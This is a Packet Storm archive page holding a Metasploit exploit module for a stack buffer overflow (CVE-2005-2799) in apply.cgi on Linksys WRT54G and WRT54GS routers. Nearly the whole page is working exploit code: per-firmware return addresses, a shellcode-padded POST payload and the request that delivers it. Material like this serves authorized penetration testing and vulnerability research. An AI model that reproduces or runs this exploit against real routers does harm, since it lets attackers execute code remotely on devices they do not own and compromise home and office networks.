exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linksys apply.cgi Buffer Overflow

Linksys apply.cgi Buffer Overflow
Posted Oct 27, 2009
Authored by Raphael Rigo, Julien Tinnes

This Metasploit module exploits a stack overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers. According to iDefense who discovered this vulnerability, all WRT54G versions prior to 4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.

tags | exploit, overflow, cgi
advisories | CVE-2005-2799
SHA-256 | 05f730badb59943ab48414e62810156de18000b427d38198a0facb7c98a34364

Linksys apply.cgi Buffer Overflow

Change Mirror Download
require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys apply.cgi buffer overflow',
'Description' => %q{
This module exploits a stack overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
According to iDefense who discovered this vulnerability, all WRT54G versions prior to
4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.
},
'Author' => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-2799'],
[ 'OSVDB', '19389' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
],
'Payload' =>
{
#'BadChars' => "\x00",
'Space' => 10000,
'DisableNops' => true,
},
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'Targets' =>
[
# the middle of the intersection is our generic address
#((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
[ 'Generic', { 'Bufaddr' => 0x10002b50}],
[ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }],
[ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }],
[ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }],
[ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }],
[ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }],
[ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }],
],
'DisclosureDate' => 'Sep 13 2005',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(80),
Opt::RHOST('192.168.1.1')
], self.class)
end


# Approx size of the remaining space in the data segment after our buffer
DataSegSize=0x4000
def exploit
c = connect

print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
print_status("Shellcode length: #{payload.encoded.length}")

addr = [target['Bufaddr']].pack('V')

# original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00"
# original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00"
# Pointers in 2.02.6beta1


# | BIG BUFFER | Various structs and function pointers | ... | .ctors | .dtors | ... | .got |
# | <- 10000 -> | **************************** Pad with return address ***********************
# I know this is horrible :( - On the other side this is very generic :)
post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)

#post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43"

# res = send_request_cgi({ 'uri' => "/apply.cgi",
# 'method' => 'POST',
# 'data' => post_data });
# print_status("Malicious request sent, do_ej should be overwritten")

req = c.request_cgi({ 'uri' => "/apply.cgi",
'method' => 'POST',
'data' => post_data })
c.send_request(req)
print_status("Mayhem sent")


# req=c.request_cgi('uri' => '/');
# c.send_request(req);
# print_status("do_ej triggered")

handler
disconnect
end

end

Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    65 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    23 Files
  • 23
    May 23rd
    15 Files
  • 24
    May 24th
    49 Files
  • 25
    May 25th
    20 Files
  • 26
    May 26th
    13 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    11 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close